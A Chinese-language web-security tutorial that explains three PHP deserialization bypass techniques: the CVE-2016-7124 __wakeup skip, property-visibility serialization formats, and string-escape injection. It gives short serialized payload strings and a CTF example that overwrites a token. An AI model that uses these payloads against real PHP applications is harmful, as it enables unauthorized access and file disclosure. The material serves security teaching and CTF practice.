第77天-Web攻防秘籍:深入解析PHP反序列化三大绕过姿势

admin 2026-03-11 03:07:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档深入解析PHP反序列化漏洞的三种绕过技巧:一是CVE-2016-7124中修改属性数量绕过__wakeup方法;二是利用PHP版本对public、protected等属性序列化格式的差异;三是字符逃逸,利用过滤替换导致的长度变化吞噬结构实现注入。文中提供了具体Payload与CTF实战案例,具有较强的技术指导价值。 综合评分: 90 文章分类: WEB安全,漏洞分析,CTF,实战经验


cover_image

第77天-Web攻防秘籍:深入解析PHP反序列化三大绕过姿势

原创

Сяо Яо Сяо Яо

AlphaNet

2026年3月10日 09:49 韩国

嘿,未来的安全大神们!👋 你是否在PHP反序列化的学习道路上,曾被 __wakeup 魔术方法拦住去路?或者对不同PHP版本间那微妙的序列化差异感到困惑?又或者,听说过字符串长度变化还能玩出“逃逸”花样?

别担心,你不是一个人!这些正是PHP反序列化漏洞利用中的经典“拦路虎”。今天,就让我们一起化身“拆弹专家”,彻底搞懂这些绕过技巧,让你的Web攻防技能树再添新枝!准备好了吗?Let’s Go! 🚀


🧐 是什么:PHP反序列化绕过的核心挑战

在深入学习之前,我们先快速回顾一下。PHP反序列化漏洞,简单说就是当程序 unserialize() 一个用户可控的字符串时,如果这个字符串被恶意构造,就可能触发非预期的代码执行或逻辑绕过。

而我们今天的主题——“绕过”,主要针对以下三种常见的防御或特殊场景:

  1. __wakeup 魔术方法

  2. PHP版本差异

  3. 字符过滤与替换


💥 三大绕过技巧实战解析

1️⃣ __wakeup 的“沉睡”之道 (CVE-2016-7124)

漏洞影响版本:

PHP 5 < 5.6.25
PHP 7 < 7.0.10

核心:

当序列化字符串声明的属性数量
大于对象真实属性数量

PHP会跳过 __wakeup()

Payload

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

2️⃣ PHP版本差异绕过

属性序列化格式:

public      "属性名"
protected   "%00*%00属性名"
private     "%00类名%00属性名"

%00 是 NULL 字节。

Payload 示例

class User {
    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
}

3️⃣ 字符串逃逸

过滤示例:

'  ->  \'

字符数量:

1 -> 2

思路:

利用新增字符吞掉后面的序列化结构

CTF Payload

...";s:3:"msg";s:XX:"[62个会被替换的字符]";s:5:"token";s:5:"admin";}"...

处理后:

62 -> 124

新增:

62 个字符

覆盖:

";s:5:"token";s:5:"guest";}

最终:

token = admin

📚 总结

1 __wakeup 绕过
2 PHP版本差异
3 字符串序列化逃逸

🤔 思考题

admin -> user

如果过滤规则是这样,你能设计一个 字符减少逃逸 Payload 吗?


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet Сяо Яо Сяо Яо《第77天-Web攻防秘籍:深入解析PHP反序列化三大绕过姿势》

评论:0   参与:  0